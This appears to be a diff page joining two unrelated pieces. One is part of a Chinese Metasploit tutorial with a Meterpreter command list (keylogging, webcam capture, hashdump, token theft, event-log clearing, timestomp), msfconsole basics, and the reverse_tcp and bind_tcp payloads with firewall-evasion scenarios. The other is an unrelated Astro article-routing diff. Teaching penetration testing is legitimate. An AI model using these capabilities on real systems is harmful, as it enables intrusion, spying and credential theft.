||||||
|
use 不推荐使用的load命令别名
|
||||||
|
uuid 获取当前会话的 UUID
|
||||||
|
write 将数据写入通道
|
||||||
|
|
||||||
|
==========================================
|
||||||
|
Stdapi:文件系统命令
|
||||||
|
==========================================
|
||||||
|
|
||||||
|
命令 说明
|
||||||
|
------- ------------
|
||||||
|
cat 将文件内容读到屏幕上
|
||||||
|
cd 切换目录
|
||||||
|
checksum 检索文件的校验和
|
||||||
|
cp 将源复制到目标
|
||||||
|
del 删除指定文件
|
||||||
|
dir 列出文件(ls 的别名)
|
||||||
|
download 下载文件或目录
|
||||||
|
edit 编辑文件
|
||||||
|
getlwd 打印本地工作目录
|
||||||
|
getwd 打印工作目录
|
||||||
|
lcd 更改本地工作目录
|
||||||
|
lls 列出本地文件
|
||||||
|
lpwd 打印本地工作目录
|
||||||
|
ls 列出文件
|
||||||
|
mkdir 制作目录
|
||||||
|
mv 将源移动到目标
|
||||||
|
pwd 打印工作目录
|
||||||
|
rm 删除指定文件
|
||||||
|
rmdir 删除目录
|
||||||
|
search 搜索文件
|
||||||
|
show_mount 列出所有挂载点/逻辑驱动器
|
||||||
|
upload 上传文件或目录
|
||||||
|
|
||||||
|
==========================================
|
||||||
|
Stdapi:网络命令
|
||||||
|
==========================================
|
||||||
|
命令 说明
|
||||||
|
------- ------------
|
||||||
|
arp 显示主机 ARP 缓存
|
||||||
|
getproxy 显示当前代理配置
|
||||||
|
ifconfig 显示界面
|
||||||
|
ipconfig 显示接口
|
||||||
|
netstat 显示网络连接
|
||||||
|
portfwd 将本地端口转发到远程服务
|
||||||
|
resolve 解析目标上的一组主机名
|
||||||
|
route 查看和修改路由表
|
||||||
|
|
||||||
|
==========================================
|
||||||
|
Stdapi:系统命令
|
||||||
|
==========================================
|
||||||
|
命令 说明
|
||||||
|
------- ------------
|
||||||
|
clearev 清除事件日志
|
||||||
|
drop_token 放弃任何活动的模拟令牌。
|
||||||
|
execute 执行命令
|
||||||
|
getenv 获取一个或多个环境变量值
|
||||||
|
getpid 获取当前进程标识符
|
||||||
|
getprivs 尝试启用当前进程可用的所有权限
|
||||||
|
getid 获取服务器运行的用户的 SID
|
||||||
|
getuid 获取服务器运行的用户
|
||||||
|
kill 终止进程
|
||||||
|
localtime 显示目标系统本地日期和时间
|
||||||
|
pgrep 按名称过滤进程
|
||||||
|
pkill 按名称终止进程
|
||||||
|
ps 列出正在运行的进程
|
||||||
|
reboot 重启远程计算机
|
||||||
|
reg 修改远程注册表并与之交互
|
||||||
|
rev2self 在远程机器上调用 RevertToSelf()
|
||||||
|
shell 放入系统命令 shell
|
||||||
|
shutdown 关闭远程计算机
|
||||||
|
steal_token 尝试从目标进程窃取模拟令牌
|
||||||
|
suspend 暂停或恢复进程列表
|
||||||
|
sysinfo 获取有关远程系统的信息,例如 OS
|
||||||
|
|
||||||
|
==========================================
|
||||||
|
Stdapi:用户界面命令
|
||||||
|
==========================================
|
||||||
|
命令 说明
|
||||||
|
------- ------------
|
||||||
|
enumdesktops 列出所有可访问的桌面和窗口站
|
||||||
|
getdesktop 获取当前的meterpreter桌面
|
||||||
|
idletime 返回远程用户空闲的秒数
|
||||||
|
keyboard_send 发送击键
|
||||||
|
keyevent 发送按键事件
|
||||||
|
keyscan_dump 转储击键缓冲区
|
||||||
|
keyscan_start 开始捕获击键
|
||||||
|
keyscan_stop 停止捕获击键
|
||||||
|
mouse 发送鼠标事件
|
||||||
|
screenshare 实时观看远程用户桌面
|
||||||
|
screenshot 抓取交互式桌面的截图
|
||||||
|
setdesktop 更改meterpreters当前桌面
|
||||||
|
uictl 控制一些用户界面组件
|
||||||
|
|
||||||
|
==========================================
|
||||||
|
Stdapi:网络摄像头命令:
|
||||||
|
==========================================
|
||||||
|
命令 说明
|
||||||
|
------- ------------
|
||||||
|
record_mic 从默认麦克风录制音频 X 秒
|
||||||
|
webcam_chat 开始视频聊天
|
||||||
|
webcam_list 列出网络摄像头
|
||||||
|
webcam_snap 从指定的网络摄像头拍摄快照
|
||||||
|
webcam_stream 从指定的网络摄像头播放视频流
|
||||||
|
|
||||||
|
==========================================
|
||||||
|
Stdapi:音频输出命令:
|
||||||
|
==========================================
|
||||||
|
命令 说明
|
||||||
|
------- ------------
|
||||||
|
play 在目标系统上播放波形音频文件 (.wav)
|
||||||
|
|
||||||
|
==========================================
|
||||||
|
Priv:权限提升命令:
|
||||||
|
==========================================
|
||||||
|
命令 说明
|
||||||
|
------- ------------
|
||||||
|
getsystem 尝试将您的权限提升到本地系统的权限。
|
||||||
|
|
||||||
|
==========================================
|
||||||
|
Priv:密码数据库命令:
|
||||||
|
==========================================
|
||||||
|
命令 说明
|
||||||
|
------- ------------
|
||||||
|
hashdump 转储 SAM 数据库的内容
|
||||||
|
|
||||||
|
==========================================
|
||||||
|
Priv:Timestomp 命令:
|
||||||
|
==========================================
|
||||||
|
命令 说明
|
||||||
|
------- ------------
|
||||||
|
timestomp 操作文件 MACE 属性
|
||||||
|
```
|
||||||
|
|
||||||
|
### 使用发放
|
||||||
|
|
||||||
|
#### 基础使用:
|
||||||
|
|
||||||
|
* 进入框架
|
||||||
|
|
||||||
|
```bash
|
||||||
|
msfconsole
|
||||||
|
```
|
||||||
|
* 查找漏洞
|
||||||
|
|
||||||
|
```bash
|
||||||
|
search 漏洞编号
|
||||||
|
```
|
||||||
|
* 使用模块
|
||||||
|
|
||||||
|
```bash
|
||||||
|
run
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
#### Meterpreter工作原理:
|
||||||
|
|
||||||
|
> 首先目标先要执行初始的溢出漏洞会话连接,可能是 bind正向连接,或者反弹 reverse 连接。反射连接的时候加载dll链接文件,同时后台悄悄处理 dll 文件。其次Meterpreter核心代码初始化,通过 socket套接字建立一个TLS/1.0加密隧道并发送GET请求给Metasploit服务端。Metasploit服务端收到这个GET请求后就配置相应客户端。最后,Meterpreter加载扩展,所有的扩展被加载都通过TLS/1.0进行数据传输。
|
||||||
|
|
||||||
|
#### 漏洞利用(exploit):
|
||||||
|
|
||||||
|
> 漏洞利用exploit,也就是我们常说的exp,他就是对漏洞进行攻击的代码。
|
||||||
|
|
||||||
|
exploit漏洞利用模块路径(这里面有针对不同平台的exploit):
|
||||||
|
|
||||||
|
```php
|
||||||
|
/usr/share/metasploit-framework/modules/exploits
|
||||||
|
```
|
||||||
|
|
||||||
|
#### 攻击载荷(payload):
|
||||||
|
|
||||||
|
> Payload:Payload中包含攻击进入目标主机后需要在远程系统中运行的恶意代码,而在Metasploit中Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。
|
||||||
|
|
||||||
|
> Shellcode:Shellcode是payload中的精髓部分,在渗透攻击时作为攻击载荷运行的一组机器指令。Shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令之后,才会提供一个命令行shell。
|
||||||
|
|
||||||
|
##### payload模块路径:
|
||||||
|
|
||||||
|
```php
|
||||||
|
/usr/share/metasploit-framework/modules/payloads
|
||||||
|
```
|
||||||
|
|
||||||
|
##### Metasploit中的 Payload 模块主要有以下三种类型:
|
||||||
|
|
||||||
|
* Single:
|
||||||
|
|
||||||
|
> 是一种完全独立的Payload,而且使用起来就像运行calc.exe一样简单,例如添加一个系统用户或删除一份文件。由于Single Payload是完全独立的,因此它们有可能会被类似netcat这样的非metasploit处理工具所捕捉到。
|
||||||
|
>
|
||||||
|
* Stager:
|
||||||
|
|
||||||
|
> 这种Payload 负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的Stager Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条 tcp 连接,让目标系统主动连接我们的端口(反向连接)。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信(正向连接)。
|
||||||
|
>
|
||||||
|
* Stage:
|
||||||
|
|
||||||
|
> 是Stager Payload下的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。
|
||||||
|
>
|
||||||
|
|
||||||
|
##### 几种常见的payload:
|
||||||
|
|
||||||
|
* 正向连接
|
||||||
|
|
||||||
|
```bash
|
||||||
|
windows/meterpreter/bind_tcp
|
||||||
|
```
|
||||||
|
* 反向连接
|
||||||
|
|
||||||
|
```bash
|
||||||
|
windows/meterpreter/reverse_tcp
|
||||||
|
```
|
||||||
|
* 过监听80端口反向连接
|
||||||
|
|
||||||
|
```bash
|
||||||
|
windows/meterpreter/reverse_http
|
||||||
|
```
|
||||||
|
* 通过监听443端口反向连接
|
||||||
|
|
||||||
|
```bash
|
||||||
|
windows/meterpreter/reverse_https
|
||||||
|
```
|
||||||
|
|
||||||
|
##### **使用场景**
|
||||||
|
|
||||||
|
* 正向连接使用场景:
|
||||||
|
|
||||||
|
> 我们的攻击机在内网环境,被攻击机是外网环境,由于被攻击机无法主动连接到我们的主机,所以就必须我们主动连接被攻击机了。但是这里经常遇到的问题是,被攻击机上开了防火墙,只允许访问指定的端口,比如被攻击机只对外开放了80端口。那么,我们就只能设置正向连接80端口了,这里很有可能失败,因为80端口上的流量太多了。
|
||||||
|
>
|
||||||
|
* 反向连接使用场景:
|
||||||
|
|
||||||
|
> 我们的主机和被攻击机都是在外网或者都是在内网,这样被攻击机就能主动连接到我们的主机了。如果是这样的情况,建议使用反向连接,因为反向连接的话,即使被攻击机开了防火墙也没事,防火墙只是阻止进入被攻击机的流量,而不会阻止被攻击机主动向外连接的流量。
|
||||||
|
>
|
||||||
|
* 反向连接80和443端口使用场景:
|
||||||
|
|
||||||
|
> 被攻击机能主动连接到我们的主机,还有就是被攻击机的防火墙设置的特别严格,就连被攻击机访问外部网络的流量也进行了严格的限制,只允许被攻击机的80端口或443端口与外部通信。
|
||||||
|
>
|
@ -1,7 +1,7 @@
|
|||||||
---
|
---
|
||||||
import { getCollection } from 'astro:content';
|
import { getCollection } from 'astro:content';
|
||||||
import type { CollectionEntry } from 'astro:content';
|
import type { CollectionEntry } from 'astro:content';
|
||||||
import { contentStructure, getRelativePath, getBasename, getDirPath, getSpecialPath } from '../../content.config';
|
import { contentStructure } from '../../content.config';
|
||||||
import Layout from '@/components/Layout.astro';
|
import Layout from '@/components/Layout.astro';
|
||||||
import Breadcrumb from '@/components/Breadcrumb.astro';
|
import Breadcrumb from '@/components/Breadcrumb.astro';
|
||||||
import ArticleTimeline from '@/components/ArticleTimeline.astro';
|
import ArticleTimeline from '@/components/ArticleTimeline.astro';
|
||||||
@ -194,7 +194,7 @@ interface Breadcrumb {
|
|||||||
|
|
||||||
// 处理特殊ID的函数
|
// 处理特殊ID的函数
|
||||||
function getArticleUrl(articleId: string) {
|
function getArticleUrl(articleId: string) {
|
||||||
return `/articles/${getSpecialPath(articleId)}`;
|
return `/articles/${articleId}`;
|
||||||
}
|
}
|
||||||
|
|
||||||
---
|
---
|
||||||
@ -343,89 +343,13 @@ function getArticleUrl(articleId: string) {
|
|||||||
) : (
|
) : (
|
||||||
// 显示当前目录的文章
|
// 显示当前目录的文章
|
||||||
currentArticles.map(articlePath => {
|
currentArticles.map(articlePath => {
|
||||||
// 获取文章ID
|
// 获取文章ID - 不需要移除src/content前缀,因为contentStructure中已经是相对路径
|
||||||
const articleId = getRelativePath(articlePath);
|
const articleId = articlePath;
|
||||||
|
|
||||||
// 尝试不同的方式匹配文章
|
// 尝试匹配文章
|
||||||
const article = articles.find(a => {
|
const article = articles.find(a => a.id === articleId);
|
||||||
// 1. 直接匹配完整路径
|
|
||||||
if (a.id.toLowerCase() === articleId.toLowerCase()) {
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 2. 匹配文件名(不含路径和扩展名)
|
|
||||||
const baseName = getBasename(articleId);
|
|
||||||
if (a.id.toLowerCase() === baseName.toLowerCase()) {
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 3. 尝试匹配相对路径的一部分
|
|
||||||
const articleParts = articleId.split('/');
|
|
||||||
const fileName = articleParts[articleParts.length - 1];
|
|
||||||
if (a.id.toLowerCase().endsWith(fileName.toLowerCase())) {
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 4. 移除.md扩展名后匹配
|
|
||||||
const idWithoutExt = articleId.replace(/\.md$/, '');
|
|
||||||
if (a.id.toLowerCase() === idWithoutExt.toLowerCase()) {
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 5. 处理多级目录结构
|
|
||||||
// 如果文章ID包含目录路径,尝试匹配最后的文件名部分
|
|
||||||
const articlePathParts = articlePath.split('/');
|
|
||||||
const articleFileName = articlePathParts[articlePathParts.length - 1];
|
|
||||||
const articleIdParts = a.id.split('/');
|
|
||||||
const articleIdFileName = articleIdParts[articleIdParts.length - 1];
|
|
||||||
|
|
||||||
if (articleFileName.toLowerCase() === articleIdFileName.toLowerCase()) {
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 6. 移除扩展名后比较文件名
|
|
||||||
const fileNameWithoutExt = articleFileName.replace(/\.md$/, '');
|
|
||||||
if (articleIdFileName.toLowerCase() === fileNameWithoutExt.toLowerCase()) {
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
|
|
||||||
return false;
|
|
||||||
});
|
|
||||||
|
|
||||||
if (!article) {
|
if (!article) {
|
||||||
// 尝试直接使用 getSpecialPath 处理文章ID
|
|
||||||
const specialId = getSpecialPath(articleId);
|
|
||||||
const articleWithSpecialPath = articles.find(a => a.id.toLowerCase() === specialId.toLowerCase());
|
|
||||||
|
|
||||||
if (articleWithSpecialPath) {
|
|
||||||
return (
|
|
||||||
<a href={getArticleUrl(articleWithSpecialPath.id)}
|
|
||||||
class="group flex flex-col h-full p-5 border border-gray-200 dark:border-gray-700 rounded-xl bg-white dark:bg-gray-800 hover:shadow-xl hover:-translate-y-1 transition-all duration-300 shadow-lg">
|
|
||||||
<div class="flex items-start">
|
|
||||||
<div class="w-10 h-10 flex-shrink-0 flex items-center justify-center rounded-lg bg-primary-100 text-primary-600 group-hover:bg-primary-200 transition-colors">
|
|
||||||
<svg xmlns="http://www.w3.org/2000/svg" class="h-5 w-5" fill="none" viewBox="0 0 24 24" stroke="currentColor">
|
|
||||||
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M19 20H5a2 2 0 01-2-2V6a2 2 0 012-2h10a2 2 0 012 2v1m2 13a2 2 0 01-2-2V7m2 13a2 2 0 002-2V9a2 2 0 00-2-2h-2m-4-3H9M7 16h6M7 8h6v4H7V8z" />
|
|
||||||
</svg>
|
|
||||||
</div>
|
|
||||||
<div class="ml-3 flex-1">
|
|
||||||
<h3 class="font-bold text-base text-gray-800 dark:text-gray-100 group-hover:text-primary-700 dark:group-hover:text-primary-300 transition-colors line-clamp-2">{articleWithSpecialPath.data.title}</h3>
|
|
||||||
{articleWithSpecialPath.body && (
|
|
||||||
<p class="text-xs text-gray-600 mt-1 line-clamp-2">
|
|
||||||
{extractSummary(articleWithSpecialPath.body)}
|
|
||||||
</p>
|
|
||||||
)}
|
|
||||||
<div class="text-xs text-gray-500 mt-2 flex items-center justify-between">
|
|
||||||
<time datetime={articleWithSpecialPath.data.date.toISOString()}>
|
|
||||||
{articleWithSpecialPath.data.date.toLocaleDateString('zh-CN', {year: 'numeric', month: 'long', day: 'numeric'})}
|
|
||||||
</time>
|
|
||||||
<span class="text-primary-600 font-medium">阅读全文</span>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</a>
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<div class="flex flex-col h-full p-5 border border-red-200 rounded-xl bg-red-50 shadow-lg">
|
<div class="flex flex-col h-full p-5 border border-red-200 rounded-xl bg-red-50 shadow-lg">
|
||||||
<div class="flex items-start">
|
<div class="flex items-start">
|
||||||
@ -436,9 +360,14 @@ function getArticleUrl(articleId: string) {
|
|||||||
</div>
|
</div>
|
||||||
<div class="ml-3 flex-1">
|
<div class="ml-3 flex-1">
|
||||||
<h3 class="font-bold text-base text-red-800">文章不存在</h3>
|
<h3 class="font-bold text-base text-red-800">文章不存在</h3>
|
||||||
<p class="text-xs text-red-600 mt-1">ID: {articleId}</p>
|
<p class="text-xs text-red-600 mt-1">
|
||||||
<div class="text-xs text-red-500 mt-2 line-clamp-1">
|
<div>原始路径: {articlePath}</div>
|
||||||
可能需要特殊路径处理,请检查文件名是否与目录名相同或包含目录名
|
<div>文章ID: {articleId}</div>
|
||||||
|
<div>当前目录: {currentPath}</div>
|
||||||
|
</p>
|
||||||
|
<div class="text-xs text-red-500 mt-2">
|
||||||
|
<div>可用的文章ID:</div>
|
||||||
|
<div class="line-clamp-3">{articles.map(a => a.id).join(', ')}</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@ -447,7 +376,7 @@ function getArticleUrl(articleId: string) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<a href={getArticleUrl(article.id)}
|
<a href={`/articles/${article.id}`}
|
||||||
class="group flex flex-col h-full p-5 border border-gray-200 dark:border-gray-700 rounded-xl bg-white dark:bg-gray-800 hover:shadow-xl hover:-translate-y-1 transition-all duration-300 shadow-lg">
|
class="group flex flex-col h-full p-5 border border-gray-200 dark:border-gray-700 rounded-xl bg-white dark:bg-gray-800 hover:shadow-xl hover:-translate-y-1 transition-all duration-300 shadow-lg">
|
||||||
<div class="flex items-start">
|
<div class="flex items-start">
|
||||||
<div class="w-10 h-10 flex-shrink-0 flex items-center justify-center rounded-lg bg-primary-100 text-primary-600 group-hover:bg-primary-200 transition-colors">
|
<div class="w-10 h-10 flex-shrink-0 flex items-center justify-center rounded-lg bg-primary-100 text-primary-600 group-hover:bg-primary-200 transition-colors">
|
||||||
|
Loading…
Reference in New Issue
Block a user